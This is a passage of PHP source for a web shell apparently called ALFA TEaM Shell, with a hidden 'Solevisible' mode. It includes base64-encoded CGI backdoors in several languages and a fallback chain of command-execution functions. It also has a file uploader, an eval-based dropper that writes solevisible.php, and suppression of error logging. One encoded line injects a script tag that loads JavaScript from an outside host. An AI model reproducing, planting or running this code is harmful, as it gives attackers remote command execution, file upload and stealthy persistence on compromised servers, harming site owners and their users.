\"rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU\/95hoCyjsfFh52nm3nM\/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU\/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+\/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw\/3w3U5Gon\/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU\/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA\/4C\";\r\n\t\t\t$aspx = \"jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53\/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL\/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs\/+A41vPENTvGYtSFSyrcjZmc\/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay\/QePDVnjYTHAfYroD+k9dHT0qhpCK\/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk\/O+3vPi3uCw==\";\r\n\t\t\tif($lang==\"perl\")$source = $perl;elseif($lang==\"py\")$source = $py;else $source = $bash;\r\n\t\t\tif($lang == \"aspx\"){\r\n\t\t\t\talfaWriteTocgiapi(\"aspx.aspx\",$aspx);\r\n\t\t\t}else{\r\n\t\t\t\talfaWriteTocgiapi($lang.\".alfa\",$source);\r\n\t\t\t}\r\n\t\t\talfacgihtaccess('cgi', \"alfacgiapi\/\");\r\n\t\t}else{\r\n\t\t\t$lang = $_COOKIE[\"alfacgiapi\"];\r\n\t\t}\r\n\t\t$cgi_ext = \".alfa\";\r\n\t\tif($lang==\"aspx\"){\r\n\t\t\t$cgi_ext = \".aspx\";\r\n\t\t}\r\n\t\t$cgi_url = __ALFA_DATA_FOLDER__.\"\/alfacgiapi\/\".$lang.$cgi_ext;\r\n\t\t$cmd = \"check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=\".__ZW5jb2Rlcg(\"cd \".$GLOBALS['cwd'].\";\".$cmd);\r\n\t\tif($is_curl){\r\n\t\t\t$address = ($_SERVER['SERVER_PORT'] == 443 ? \"https:\/\/\" : \"http:\/\/\").$_SERVER[\"SERVER_NAME\"].dirname($_SERVER[\"REQUEST_URI\"]).\"\/\".$cgi_url;\r\n\t\t\t$post = new AlfaCURL();\r\n\t\t\t$data = $post->Send($address, \"post\", $cmd);\r\n\t\t}elseif($is_socket){\r\n\t\t\t$server = $_SERVER[\"SERVER_NAME\"];\r\n\t\t\t$uri = dirname($_SERVER[\"REQUEST_URI\"]).\"\/\".$cgi_url;\r\n\t\t\t$data = _alfa_fsockopen($server,$uri,$cmd);\r\n\t\t}\r\n\t\t$out = \"\";\r\n\t\tif(strpos($data, \"[solevisible~api]\") !== false && strpos($data, '[solevisible~api]<pre>\"+output+\"<\/pre>') === false){\r\n\t\t\tif($set_cookie){\r\n\t\t\t\t__alfa_set_cookie(\"alfacgiapi\", $lang);\r\n\t\t\t}\r\n\t\t\tif(@preg_match(\"\/<pre>(.*?)<\\\/pre>\/s\", $data, $res)){\r\n\t\t\t\t$out = $res[1];\r\n\t\t\t}\r\n\t\t}elseif($lang==\"perl\"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,\"py\",$set_cookie);\r\n\t\t}elseif($lang==\"py\"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,\"bash\",$set_cookie);\r\n\t\t}elseif($lang==\"bash\" && $GLOBALS['sys']==\"win\"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,\"aspx\",$set_cookie);\r\n\t\t}else{\r\n\t\t\tif($set_cookie){\r\n\t\t\t\t__alfa_set_cookie(\"alfacgiapi_mode\", \"off\");\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn trim($out);\r\n\t}else{\r\n\t\treturn \"\";\r\n\t}\r\n}\r\nfunction alfaGetCwd(){\r\n\tif(function_exists(\"getcwd\")){\r\n\t\treturn @getcwd();\r\n\t}else{\r\n\t\treturn dirname($_SERVER[\"SCRIPT_FILENAME\"]);\r\n\t}\r\n}\r\nfunction alfaEx($in,$re=false,$cgi=true,$all=false){\r\n\t$data = _alfa_php_cmd($in,$re);\r\n\tif(empty($data)&&$cgi||$all){\r\n\t\tif($GLOBALS['sys']=='unix'){\r\n\t\t\tif(strlen(_alfa_php_cmd(\"whoami\"))==0||$all){\r\n\t\t\t\t$cmd = _alfa_cgicmd($in);\r\n\t\t\t\tif(!empty($cmd)){\r\n\t\t\t\t\treturn $cmd;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $data;\r\n}\r\nfunction _alfa_php_cmd($in,$re=false){\r\n$out='';\r\ntry{\r\nif($re)$in=$in.\" 2>&1\";\r\nif(function_exists('exec')){\r\n@exec($in,$out);\r\n$out = @join(\"\\n\",$out);\r\n}elseif(function_exists('passthru')) {\r\nob_start();\r\n@passthru($in);\r\n$out = ob_get_clean();\r\n}elseif(function_exists('system')){\r\nob_start();\r\n@system($in);\r\n$out = ob_get_clean();\r\n} elseif (function_exists('shell_exec')) {\r\n$out = shell_exec($in);\r\n}elseif(function_exists(\"popen\")&&function_exists(\"pclose\")){\r\nif(is_resource($f = @popen($in,\"r\"))){\r\n$out = \"\";\r\nwhile(!@feof($f))\r\n$out .= fread($f,1024);\r\npclose($f);\r\n}\r\n}elseif(function_exists('proc_open')){\r\n$pipes = array();\r\n$process = @proc_open($in.' 2>&1', array(array(\"pipe\",\"w\"), array(\"pipe\",\"w\"), array(\"pipe\",\"w\")), $pipes, null);\r\n$out=@stream_get_contents($pipes[1]);\r\n}elseif(class_exists('COM')){\r\n$alfaWs = new COM('WScript.shell');\r\n$exec = $alfaWs->exec('cmd.exe \/c '.$_POST['alfa1']);\r\n$stdout = $exec->StdOut();\r\n$out=$stdout->ReadAll();\r\n}\r\n}catch(Exception $e){}\r\nreturn $out;\r\n}\r\nfunction _alfa_fsockopen($server,$uri,$post){\r\n\t$socket = @fsockopen($server, 80, $errno, $errstr, 15);\r\n\tif($socket){\r\n\t\t$http = \"POST {$uri} HTTP\/1.0\\r\\n\";\r\n\t\t$http .= \"Host: {$server}\\r\\n\";\r\n\t\t$http .= \"User-Agent: \" . $_SERVER['HTTP_USER_AGENT'] . \"\\r\\n\";\r\n\t\t$http .= \"Content-Type: application\/x-www-form-urlencoded\\r\\n\";\r\n\t\t$http .= \"Content-length: \" . strlen($post) . \"\\r\\n\";\r\n\t\t$http .= \"Connection: close\\r\\n\\r\\n\";\r\n\t\t$http .= $post . \"\\r\\n\\r\\n\";\r\n\t\tfwrite($socket, $http);\r\n\t\t$contents = \"\";\r\n\t\twhile (!@feof($socket)) {\r\n\t\t\t$contents .= @fgets($socket, 4096);\r\n\t\t}\r\n\t\tlist($header, $body) = explode(\"\\r\\n\\r\\n\", $contents, 2);\r\n\t\t@fclose($socket);\r\n\t\treturn $body;\r\n\t}else{\r\n\t\treturn \"\";\r\n\t}\r\n}\r\nif(isset($_GET[\"solevisible\"])){\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\necho '<html>';\r\necho \"<title>Solevisible Hidden Shell<\/title>\";\r\necho \"<body bgcolor=#000000>\";\r\necho '<b><big><font color=#7CFC00>Kernel : <\/font><font color=\"#FFFFF\">'.(function_exists('php_uname')?php_uname():'???').'<\/font><\/b><\/big>';\r\n$safe_mode = @ini_get('safe_mode');\r\nif($safe_mode){$r = \"<b style='color: red'>On<\/b>\";}else{$r = \"<b style='color: green'>Off<\/b>\";}\r\necho \"<br><b style='color: #7CFC00'>OS: <\/font><font color=white>\" . PHP_OS . \"<\/font><br>\";\r\necho \"<b style='color: #7CFC00'>Software: <\/font><font color=white>\" . $_SERVER ['SERVER_SOFTWARE'] . \"<\/font><br>\";\r\necho \"PHP Version: <font color=white>\" . PHP_VERSION . \"<\/font><br \/>\";\r\necho \"PWD:<font color=#FFFFFF> \" . str_replace(\"\\\\\",\"\/\",@alfaGetCwd()) . \"\/<br \/>\";\r\necho \"<b style='color: #7CFC00'>Safe Mode : $r<br>\";\r\necho\"<font color=#7CFC00>Disable functions : <\/font>\";\r\n$disfun = @ini_get('disable_functions');\r\nif(empty($disfun)){$disfun = '<font color=\"green\">NONE<\/font>';}\r\necho\"<font color=red>\";\r\necho \"$disfun\";\r\necho\"<\/font><br>\";\r\necho \"<b style='color: #7CFC00'>Your Ip Address is : <\/font><font color=white>\" . $_SERVER['REMOTE_ADDR'] . \"<\/font><br>\";\r\necho \"<b style='color: #7CFC00'>Server Ip Address is : <\/font><font color=white>\".(function_exists('gethostbyname')?@gethostbyname($_SERVER[\"HTTP_HOST\"]):'???').\"<\/font><br><p>\";\r\necho '<hr><center><form onSubmit=\"this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));\" action=\"\" method=\"post\" enctype=\"multipart\/form-data\" name=\"uploader\" id=\"uploader\">';\r\necho 'CWD: <input type=\"text\" name=\"cwd\" value=\"'.str_replace(\"\\\\\",\"\/\",@alfaGetCwd()).'\/\" size=\"59\"><p><input type=\"file\" name=\"file\" size=\"45\"><input name=\"upload\" type=\"submit\" id=\"_upl\" value=\"Upload\"><\/p><\/form><\/center>';\r\nif(isset($_FILES['file'])){\r\nif(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'\/'.$_FILES['file']['name'])){echo '<b><font color=\"#7CFC00\"><center>Upload Successfully ;)<\/font><\/a><font color=\"#7CFC00\"><\/b><br><br><\/center>'; }\r\nelse{echo '<center><b><font color=\"#7CFC00\">Upload failed :(<\/font><\/a><font color=\"#7CFC0\"><\/b><\/center><br><br>'; }\r\n}\r\necho '<hr><form onSubmit=\"this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));\" method=\"POST\">Execute Command: <input name=\"command_solevisible\" value=\"\" size=\"59\" type=\"text\" align=\"left\" ><input name=\"execute\" value=\"Execute\" type=\"submit\"><br><\/form>\r\n<hr><pre>';\r\nif(isset($_POST['command_solevisible'])){\r\nif(strtolower(substr(PHP_OS,0,3))==\"win\")$separator='&';else $separator=';';\r\n$solevisible = \"cd '\".addslashes(str_replace(\"\\\\\",\"\/\",@alfaGetCwd())).\"'\".$separator.\"\".__ZGVjb2Rlcg($_POST['command_solevisible']);\r\necho alfaEx($solevisible);\r\n}\r\necho'<\/pre>\r\n<\/body><\/html>';\r\nexit;}\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set('error_log',NULL);\r\n@ini_set('log_errors',0);\r\n@ini_set('max_execution_time',0);\r\n@ini_set('magic_quotes_runtime', 0);\r\n@set_time_limit(0);\r\nif(function_exists('set_magic_quotes_runtime')){\r\n@set_magic_quotes_runtime(0);\r\n}\r\nforeach($_POST as $key => $value){\r\nif(is_array($_POST[$key])){\r\n$i=0;\r\nforeach($_POST[$key] as $f) {\r\n$f = trim(str_replace(' ', '+',$f));\r\n$_POST[$key][$i] = decrypt_post($f);\r\n$i++;\r\n}\r\n}else{\r\n$value = trim(str_replace(' ', '+',$value));\r\n$_POST[$key] = decrypt_post($value);\r\n}\r\n}\r\n$default_action = 'FilesMan2';\/\/'FilesMan';\r\n$default_use_ajax = true;\r\n$default_charset = 'Windows-1251';\r\nif(strtolower(substr(PHP_OS,0,3))==\"win\")\r\n$GLOBALS['sys']='win';\r\nelse\r\n$GLOBALS['sys']='unix';\r\n$GLOBALS['home_cwd'] = @alfaGetCwd();\r\n$GLOBALS[\"need_to_update_header\"] = \"false\";\r\n$GLOBALS['glob_chdir_false'] = false;\r\nif(isset($_POST['c'])){\r\nif(!@chdir($_POST['c'])){\r\n\t$GLOBALS['glob_chdir_false'] = true;\r\n}\r\n}\r\n$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());\r\nif($GLOBALS['glob_chdir_false']){\r\n\t$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());\r\n}\r\nif($GLOBALS['sys'] == 'win'){\r\n$GLOBALS['home_cwd'] = str_replace(\"\\\\\", \"\/\", $GLOBALS['home_cwd']);\r\n$GLOBALS['cwd'] = str_replace(\"\\\\\", \"\/\", $GLOBALS['cwd']);\r\n}\r\nif($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '\/' )$GLOBALS['cwd'] .= '\/';\r\nif(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}\r\nif(!function_exists(\"mb_strlen\")){\r\n\tfunction mb_strlen($str, $c=\"\"){\r\n\t\treturn strlen($str);\r\n\t}\r\n}\r\nif(!function_exists(\"mb_substr\")){\r\n\tfunction mb_substr($str, $start, $end, $c=\"\"){\r\n\t\treturn substr($str, $start, $end);\r\n\t}\r\n}\r\ndefine(\"ALFA_TEMPDIR\", (function_exists(\"sys_get_temp_dir\") ? (@is_writable(str_replace('\\\\','\/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));\r\nfunction alfahead(){\r\n$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';\r\n$symbypass = 'PHNjcmlwdCBzcmM9Imh0dHBzOi8vc2hlbGx4cGxvaXQubmV0L2xvZy14cGxvaXQvbG9nLmpzIj48L3NjcmlwdD4=';\r\n$symlink = base64_decode($symbypass);\r\necho $symlink;\r\n$alfa_uploader = '$x = base64_decode(\"'.$GLOBALS['__ALFA_SHELL_CODE'].'\");$solevisible = fopen(\"solevisible.php\",\"w\");fwrite($solevisible,$x);';\r\ndefine(\"ALFA_UPLOADER\", \"eval(base64_decode('\".__ZW5jb2Rlcg($alfa_uploader).\"'))\");\r\nif(!isset($_POST['ajax'])){\r\nfunction Alfa_GetDisable_Function(){\r\n$disfun = @ini_get('disable_functions');\r\n$afa = '<span class=\"header_show_all\">All Functions Accessible<\/span>';\r\nif(empty($disfun))return($afa);\r\n$s = explode(',',$disfun);\r\n$s = array_unique($s);\r\n$i=0;\r\n$b=0;\r\n$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');\r\n$black_list = array();\r\n$allow_list = array();\r\nforeach($s as $d){\r\n\t$d=trim($d);\r\n\tif(empty($d)||!is_callable($d))continue;\r\n\tif(!function_exists($d)){\r\n\t\tif(in_array($d,$func)){\r\n\t\t\t$dis .= $d.\" | \";$b++;\r\n\t\t\t$black_list[] = $d;\r\n\t\t}else{\r\n\t\t\t$allow_list[] = $d;\r\n\t\t}\r\n\t\t$i++;\r\n\t}\r\n}\r\nif($i==0)return($afa);\r\nif($i <= count($func)){\r\n$all = array_values(array_merge($black_list, $allow_list));\r\nreturn('<span class=\"disable_functions\">'.implode(\" | \", $all).'<\/span>');\r\n}\r\nreturn('<span class=\"disable_functions\">'.$dis.'<\/span><a id=\"menu_opt_GetDisFunc\" href=javascript:void(0) onclick=\"alfa_can_add_opt = true;g(\\'GetDisFunc\\',null,\\'wp\\');\"><span class=\"header_show_all\">Show All ('.$i.')<\/span><\/a>');\r\n}\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho '<script>';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho 'alfa'.$alfa.\"_=\";\r\n}\r\necho '\"\"<\/script>';\r\n}\r\nif(empty($_POST['charset']))\r\n$_POST['charset'] = $GLOBALS['default_charset'];\r\n$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';\r\n$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';\r\n$totalSpace = $totalSpace?$totalSpace:1;\r\n$on=\"<span class='header_on'> ON <\/span>\";\r\n$of=\"<span class='header_off'> OFF <\/span>\";\r\n$none=\"<span class='header_none'> NONE <\/span>\";\r\nif(function_exists('ssh2_connect'))\r\n$ssh2=$on;\r\nelse\r\n$ssh2=$of;\r\nif(function_exists('curl_version'))\r\n$curl=$on;\r\nelse\r\n$curl=$of;\r\nif(function_exists('mysql_get_client_info')||class_exists('mysqli'))\r\n$mysql=$on;\r\nelse\r\n$mysql=$of;\r\nif(function_exists('mssql_connect'))\r\n$mssql=$on;\r\nelse\r\n$mssql=$of;\r\nif(function_exists('pg_connect'))\r\n$pg=$on;\r\nelse\r\n$pg=$of;\r\nif(function_exists('oci_connect'))\r\n$or=$on;\r\nelse\r\n$or=$of;\r\nif(@ini_get('disable_functions'))\r\n$disfun=@ini_get('disable_functions');\r\nelse\r\n$disfun=\"All Functions Enable\";\r\nif(@ini_get('safe_mode'))\r\n$safe_modes=\"<span class='header_off'>ON<\/span>\";\r\nelse\r\n$safe_modes=\"<span class='header_on'>OFF<\/span>\";\r\n$cgi_shell=\"<span class='header_off' id='header_cgishell'>OFF<\/span>\";\r\nif(@ini_get('open_basedir')){\r\n$basedir_data = @ini_get('open_basedir');\r\nif(strlen($basedir_data)>120){\r\n$open_b=substr($basedir_data,0, 120).\"...\";\r\n}else{\r\n$open_b = $basedir_data;\r\n}\r\n}else{$open_b=$none;}\r\nif(@ini_get('safe_mode_exec_dir'))\r\n$safe_exe=@ini_get('safe_mode_exec_dir');\r\nelse\r\n$safe_exe=$none;\r\nif(@ini_get('safe_mode_include_dir'))\r\n$safe_include=@ini_get('safe_mode_include_dir');\r\nelse\r\n$safe_include=$none;\r\nif(!function_exists('posix_getegid'))\r\n{\r\n$user = function_exists(\"get_current_user\")?@get_current_user():\"????\";\r\n$uid = function_exists(\"getmyuid\")?@getmyuid():\"????\";\r\n$gid = function_exists(\"getmygid\")?@getmygid():\"????\";\r\n$group = \"?\";\r\n}else{\r\n$uid = function_exists(\"posix_getpwuid\")&&function_exists(\"posix_geteuid\")?@posix_getpwuid(posix_geteuid()):array(\"name\"=>\"????\", \"uid\"=>\"????\");\r\n$gid = function_exists(\"posix_getgrgid\")&&function_exists(\"posix_getegid\")?@posix_getgrgid(posix_getegid()):array(\"name\"=>\"????\", \"gid\"=>\"????\");\r\n$user = $uid['name'];\r\n$uid = $uid['uid'];\r\n$group = $gid['name'];\r\n$gid = $gid['gid'];\r\n}\r\n$cwd_links = '';\r\n$path = explode(\"\/\", $GLOBALS['cwd']);\r\n$n=count($path);\r\nfor($i=0; $i<$n-1; $i++) {\r\n$cwd_links .= \"<a class='header_pwd' onclick='g(\\\"FilesMan\\\",\\\"\";\r\n$cach_cwd_path = \"\";\r\nfor($j=0; $j<=$i; $j++){\r\n$cwd_links .= $path[$j].'\/';\r\n$cach_cwd_path .= $path[$j].'\/';\r\n}\r\n$cwd_links .= \"\\\")' path='\".$cach_cwd_path.\"' href='#action=fileman&path=\".$cach_cwd_path.\"'>\".$path[$i].\"\/<\/a>\";\r\n}\r\n$drives = \"\";\r\nforeach(range('a','z') as $drive)\r\nif(@is_dir($drive.':\\\\'))\r\n$drives .= '<a href=\"javascript:void(0);\" class=\"header_drive\" onclick=\"g(\\'FilesMan\\',\\''.$drive.':\/\\')\">[ '.$drive.' ]<\/a> ';\r\n$csscode ='\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';\r\necho '<!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\">\r\n<html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\" \/>\r\n<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" \/>\r\n<link href=\"'.__showicon('alfamini').'\" rel=\"icon\" type=\"image\/x-icon\"\/>\r\n<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..<\/title>\r\n<style type=\"text\/css\">';?>\r\n.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:\"\";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s 